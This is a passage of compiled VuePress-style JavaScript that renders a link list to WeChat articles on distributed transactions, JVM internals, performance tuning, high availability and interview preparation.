"),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498714&idx=1&sn=41d6ea250b3d3bec192be68abd2358a0&chksm=cf564cdbf821c5cd28edda7ef364c25860505e9172be3b75a1ac952a69df901ee512047b84e6&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("熔断,限流,降级,容错,服务高可用(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498735&idx=1&sn=2639176344c13e9848e97824555aefdc&chksm=cf564ceef821c5f8798e633cd3f9921f0eeb91c3dc8a558b584b95a5468990d7ef9bc062cf2d&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发,高性能,高可用,高扩展,分布式,微服务,字节码(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498767&idx=1&sn=9a4a0cc594ffd796bafc48992feffafb&chksm=cf564b0ef821c2187b47a78bf457a9152496a4ce10e70114e6f87f85aeab036a589223598c11&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("定时轮询,DelayQueue,ZSet,TTL+DLX(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498861&idx=1&sn=629c0a78e5e9bf00a1ee34fa64efda80&chksm=cf564b6cf821c27a4d4aafa13bd6d60c9a923d2984bc98ca0163326bb77196375b22400fd6c4&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("服务端高并发分布式架构演进之路(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498923&idx=1&sn=536517b094338c6a17e4e259d1b1edd7&chksm=cf564baaf821c2bc339dac8b350d039531bd2a82aeed051a7c76ceb960b99448b0dceff9b70c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高可用架构(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498925&idx=1&sn=575dc293c689c9313fbc0da4739a2e4e&chksm=cf564bacf821c2ba95055c28c33e6ce9373e5b297528507c91f6d1507d69a87dc88447408fa5&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高性能架构(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498939&idx=1&sn=3d4920bdfd9a6df6b7a3feb28a77f0d0&chksm=cf564bbaf821c2acac70e488f1a4fc8b009d9323a3717fa651463e0650fca0d06682d8555c3b&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在大厂担任架构师需要掌握哪些核心技能?(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500047&idx=1&sn=17dcb702ad1533bb77861e467a4aebe2&chksm=cf56760ef821ff1820387097baa8d67678ed19df172f3622dbc5b7ab1ccc7bde54301d83dc11&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不同业务场景该如何选择缓存的读写策略?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/AY3mlwrPGD5hbob0Ja73TA",target:"_blank",rel:"noopener noreferrer"}},[e._v("复盘:我在真实场景下对几款主流云原生数据库进行极限性能压测的一次总结!!(建议收藏)"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"分布式事务系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#分布式事务系列"}},[e._v("#")]),e._v(" 分布式事务系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497675&idx=1&sn=ff56c55baa17f90d9bcf2bb5478771ab&chksm=cf5640caf821c9dce560d6b7ea619b4cbbb9fc082c4858131d1dc846a5275b9214e579d79a43&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试分布式事务必问知识点!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489327&idx=1&sn=d7a1bd61e6403d2adf8c393dd43ede4d&chksm=cf55a02ef82229389c92eed4047980df8dddbc0cff0573f5e7d701aed8e58c9fd86d1c9345c0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("tcc-transaction分布式TCC型事务框架搭建与实战案例(基于Dubbo/Dubbox)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489296&idx=1&sn=b14e1a2636038996785330afd7ac4690&chksm=cf55a011f822290717d8c33588bb9f19c3d3bbd6606bd9d5d262cdb7ee86db75f9022369b2c0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何基于消息中间件实现分布式事务?万字长文给你答案!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489293&idx=1&sn=481df6b2ec975b7d5065a30306c99ff9&chksm=cf55a00cf822291a6cbaa63450bce39150bc6515a86733b455a3079b898e4242de4caef39346&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我:如何恢复MySQL中的XA事务?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489572&idx=1&sn=283f24189f3add773ffa2f8a314ac8d1&chksm=cf55af25f822263342c3d67490d803b1de9a7199ee765c8614f7dda90441480877d2af02c8ef&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("12张图带你彻底理解分布式事务产生的场景和解决方案!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489149&idx=1&sn=6d82218e24a08b56b1ae16230a313b4e&chksm=cf55a17cf822286a31a09299d293c96c8f41f37350b2e4fe9cdd6706820321b163e7a3e4232b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何基于消息中间件实现分布式事务?我想说的都在这儿了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489458&idx=1&sn=3f9997b178148c0152110e888aac45bc&chksm=cf55a0b3f82229a59dcc4754dd5b4cc355b960c44aaeeb22785da96b6f832cf9e42842d1d117&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("tcc-transaction分布式TCC型事务框架搭建与实战案例(基于Dubbo/Dubbox)"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"精通jvm系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#精通jvm系列"}},[e._v("#")]),e._v(" 精通JVM系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497051&idx=1&sn=38312719e86b7f9cef31c00102da6c48&chksm=cf56425af821cb4c779873fdd793a73af274305f74de7ae72a06fcd2d9224f44541f4a2cad40&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("逃逸分析,yyds!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489318&idx=1&sn=bd0b6912601dde225cb9212971a41de6&chksm=cf55a027f82229315a3fa594538c8f4b7dc2300d0480e684070d54f5f5e1896533fe1cdb6c47&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("关于JVM,你需要掌握这些!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489122&idx=1&sn=760a751b5d0f927a39051c39f03c19da&chksm=cf55a163f8222875a1422bd2b5550f1c91ebface3773f171b259d60937e17b8514231b8f3069&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("肝了一周,吐血整理出这份超硬核的JVM笔记(升级版)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498909&idx=1&sn=67a21df964f45f10cbdd669a97a5cc07&chksm=cf564b9cf821c28a09876886f69c47c0aed8086dc124d6cbae9b0c9c89764cea81f5ae1a70ed&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM 内存布局(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499173&idx=1&sn=b4ef46c3d2bac53bf5af44acfe3a76c6&chksm=cf564aa4f821c3b291e83b2e48995b5f4c0564156b2ea4e5900fac30f7bbef7d09d64e507e18&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM调优的几种场景(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499246&idx=1&sn=4bb2af5be2bfe2ea19fa2c899781b894&chksm=cf564aeff821c3f93e4491f5cf0eef70473c3e337acb1540162c9bdb86a5709f04f59ec7b729&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("类的编译、编译优化、常量这地、泛型擦除、条件编译(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499270&idx=1&sn=c4b90d564ffd71fe098f34c75d9a3d77&chksm=cf564907f821c01106be971b821e83fcfbcd5e7b8e510d4582fd0618a2f9dc5a0ecff73219a6&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("类的加载过程(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499304&idx=1&sn=13e15f0a0e8999ac28e83f0e90e7e938&chksm=cf564929f821c03f3f81b53a7c11499865c9be39bd1ebd835061c4e7a1744ef89bbefbb48fee&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM内存空间(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499346&idx=1&sn=fd0b892c55177cc78cc69be0ff7e84c1&chksm=cf564953f821c0454f31bd284748b26ae2aec1795cbf62625fddc64fae99c4687795de3d066e&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM堆内存分配机制(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499370&idx=1&sn=9584ccbeb437823a59f4a6af7058d4a8&chksm=cf56496bf821c07dc09d199169e0a3057bf3a400420837594dc37d0cc2edfab5ca6fd82b041d&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM垃圾回收机制(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499394&idx=1&sn=7d7ab984a059d8867a1c8dad5d919a26&chksm=cf564983f821c095d733af641e82dc3e7a23c22c559eb6e07fd52ec9fe3b80b68dbea3cf70d7&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM垃圾回收算法(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499410&idx=1&sn=787037527afd5762e407626d010a7589&chksm=cf564993f821c085f481e96730ab0c0ff59db0dfa6630e72e3fcfd5ef2656e5f3bfd2b56253e&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM - CMS垃圾收集器(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499418&idx=1&sn=d389ba1e25dbf315ddbf92775e4c43b6&chksm=cf56499bf821c08dd1b0d8758169c58a5539ce3d405334d2dc70207f01f9f864fb6093336717&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM - G1收集器、Region、停顿时间模型、垃圾回收(建议收藏)"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"视频号系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#视频号系列"}},[e._v("#")]),e._v(" 视频号系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497995&idx=1&sn=0a06ee6e4e75f57e7bffd4feb2ae7013&chksm=cf564e0af821c71c43703032c78ae398d78ec19513f9fc0cceafbb9906d0108e038eb11eaf51&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河真人出镜聊职业发展!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497792&idx=1&sn=aeae1755bd4f63dc2821695c9ff4e1b0&chksm=cf564f41f821c6576b100425d1d8e5a39273a22383b2cc90716d9e3b0650fbc021b3e85baa42&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河第一次真人出镜!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496106&idx=1&sn=d25ad3830ce89ee32d46e646eefd9e4f&chksm=cf5646abf821cfbd6251c7886d0b359d263833f912e6bba97531cc001ba7a61f86d2ea46fed9&token=1837443586&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不费脑子学习MySQL体系架构,yyds!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499381&idx=1&sn=2e0e09054db3e376006a3ef8259a413d&chksm=cf564974f821c0627753eba86bffaa16278f3e75865afc32540a3469d3b2d3b62d39375fc7fa&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高铁站露天等车回成都,一个字:冷!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500484&idx=1&sn=02b2f754e13617744d6413bf1c4adc9e&chksm=cf5675c5f821fcd3f7bad0b881a7d269430ebaf5dea01c7c1aa8ca395055ab2b79e9b6bc4905&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河做客墨天轮直播-DBA以及运维岗如何更好的规划职业生涯?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500491&idx=1&sn=bce5b1b513d375cbe4a8635eff9b01c1&chksm=cf5675caf821fcdc7b4b2eeea3a54c2bfb4c2c246b4abe18b4ef0b3d5a107285c225877f2976&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河直播-现场实战手写Java线程池源码"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500604&idx=1&sn=f105d1804929d755ae5eae5cc211cef4&chksm=cf56743df821fd2b2e2facc453039f6629dee41a4132274173335158cd6f3a972ad8081ce1f4&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("技术人如何突破职场瓶颈?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247501045&idx=1&sn=99b4bf092187cb306600bf48de33b50d&chksm=cf5673f4f821fae2f956c5a331320a54ea0c1cb723ee37daa1efbb8b6d85d80f68f73f660c2b&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("搞不懂MVCC,学个毛的MySQL"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"性能调优系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#性能调优系列"}},[e._v("#")]),e._v(" 性能调优系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495332&idx=1&sn=6fcaf156fae6419a03ede479a30eede4&chksm=cf5659a5f821d0b37d8067bf868fb60780e5794e4220312e55c5f5e9bd3994c72b724f2f379d&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("系统性能优化的关键指标(yyds)!!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489431&idx=1&sn=b6b4a16f2f2d2e2368e92af7a0f0e7f1&chksm=cf55a096f82229805105038bfbf9d1509d56dc4edd425bbd2d95e1f2958b339f9a7d4fbaf95a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("万万没想到!Linux环境下Tomcat8启动很慢竟然是这样解决的!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489320&idx=1&sn=5b4e3327c01c9a9b5a44701e2861abfa&chksm=cf55a029f822293f350d5d51d29a6c947422e032218b4c519df57c7b3c7e4d949eae15844959&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("几种典型的内存溢出案例,都在这儿了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489189&idx=1&sn=e4a756f789f6840f5d1a3e006afe21b6&chksm=cf55a1a4f82228b2a6d271ecbfc01ea363098ae656356cf69a6b1b92cd5b74b780b6d8e95de8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("性能优化有哪些衡量指标?需要注意什么?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489187&idx=1&sn=bdb408cd594e9ba4c2bf625c0bd633f1&chksm=cf55a1a2f82228b4f6c6a25b164fa303e1e5c6e6df22e88c15ce22ebb9720fc11a6bff6ed89c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴问我性能指标监控怎么做,这次我安排上了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489185&idx=1&sn=63186214b5145a5f6567d9bae6fd34e6&chksm=cf55a1a0f82228b6ec127d7ece0b1343c970edc17861d4db6b361bd16da863676082ea43d4fe&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:Java中的对象和数组都是在堆上分配的吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489152&idx=1&sn=ea43c3d09d42e780dcc26d35c6f9cd86&chksm=cf55a181f82228971b193d73fd324963db377c3912fd6410bc91ca5901146681579881a8b971&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你敢信?String类竟然是导致生产环境频繁内存溢出的罪魁祸首!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489150&idx=1&sn=ad7377d24f5e0e7769d1d9753b078694&chksm=cf55a17ff8222869f335ef3367331bc4e187bcd2b82ec1a541bced63d46e48b2f82fcb46b05d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Java中的String到底占用多大的内存空间?你所了解的可能都是错误的!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489134&idx=1&sn=fa59dc70f8060a4670bdc5a2630e701f&chksm=cf55a16ff82228791e033427d673895e9a1699ac67983b18da6735a261d58a4695aa97163423&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("做过性能优化的工作吗?你会从哪些方面入手做性能优化呢?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489132&idx=1&sn=505e80f3a362ade361e90f1eaab22b2e&chksm=cf55a16df822287b64021b550ffe8bfe00ccb3e315568a5bb5f1973b0d22c045c0ba95113344&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("纳尼?内存又溢出了?!是时候总结一波了!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"一起进大厂系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#一起进大厂系列"}},[e._v("#")]),e._v(" 一起进大厂系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495500&idx=1&sn=bf750985622fdc84c4191ecfc6d3c964&chksm=cf56584df821d15b5f322e567d34f6aaa01c791f2c287f6ccb8cf751e0c64dae6387c1f0b620&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("报告:冰河撸了本《面试圣经》电子书!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499634&idx=1&sn=c667203b582caaba87b139b2f10cfb57&chksm=cf564873f821c16565a860cbb36f3953f137c7955e6c1e8a0e9a29c417a055480d9c6fad3e99&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河与你聊聊大厂更加看重哪些能力?(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494985&idx=1&sn=208f18e8affe77360a542bcec777d690&chksm=cf565a48f821d35ee69d51ad08cad7e09c15387a2b3a9981369b3037d8817efb32f7f0f7df6a&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("明明自我感觉良好,可为啥就是进不了大厂呢?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492924&idx=1&sn=39cf807fb5aa26b73d16cb490197a569&chksm=cf56523df821db2b665fa07c3c02c2c966dc25165c09cd555447597dae05ec4a20968d67e709&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("头条一面:Spring IOC容器中只存放单例Bean吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492889&idx=1&sn=7b33ecf05cef968930399b46d147c193&chksm=cf565218f821db0ebd23154d38e689c44dd9f5bad3390f41036a3c0f4db1a52cb7644254fee6&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("热乎乎的面经:Spring中Scheduled和Async两种调度方式有啥区别?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492877&idx=1&sn=1624a1b0423de3857b28f852deae05f3&chksm=cf56520cf821db1a0ed3baa708f93c4f1d68d9f5d18507ac126bd1b9547e3418f56a31557712&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("进大厂,到底需要掌握哪些核心技能?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490267&idx=1&sn=2181dd10bc930f49b3bf5a44d62fcabc&chksm=cf55addaf82224cc42086018b6d77a8a17586ec414a324ec8473745150d60b7d1f14c626e2b8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:如果让你设计一个高并发的消息中间件,你会怎么做?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490503&idx=1&sn=3b2ad39a88ec09eeb1dc17d1ce259e7b&chksm=cf55acc6f82225d0cf074310020a2fc2d4ec85ebf44524bad96d2b239aa1fd11cc852c5f1353&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("同时拿到BATJMD的Offer是怎样的一种体验?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490521&idx=1&sn=da5bdb9e9079625a82cd843cbe4d136b&chksm=cf55acd8f82225ce9ef57ea0a2c7076eb267d65d02d703277cc254c35fa73e51d235544d7e2c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("即使技术再精,面试时一问这个必挂!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490675&idx=1&sn=eb63db12f3004dcde676224145128e50&chksm=cf55ab72f82222646f91b4c4c4f6b76b76b672f4f62e2a2916c29a9009d6e2473fadc1d703a9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("字节跳动面试官这样问有关字符串的问题!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490748&idx=1&sn=32ab2d8522b9f47f53d77b4880e15c87&chksm=cf55abbdf82222ab5267e0fe0cb1df953e8ee2f74cd18b1f7d01449611ce647ba880d47d1687&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("为何你进不了大厂?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490771&idx=1&sn=7a8870e3118117d5ae50b5fe94eda0a4&chksm=cf55abd2f82222c435213ee8d3865a44fcbe6c548a38db2f4c45620afd5ecf0a2cc22f02532d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河公开了进大厂必备的核心技能,服了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490906&idx=1&sn=c01aec12b225f9e0e69cba2c73b5e842&chksm=cf55aa5bf822234dcc319e42b803250bfd5ebb2d2b7db951b2409638252533c1d7cd1ae0416f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("金三银四,冰河为你整理了这份20万字134页的面试圣经!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489321&idx=1&sn=2e44884acb0de536dc905ac2de0a74f8&chksm=cf55a028f822293e67d545942c473014fc9adadab3af793c1229737af6ada254aefd3d75e9ec&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener 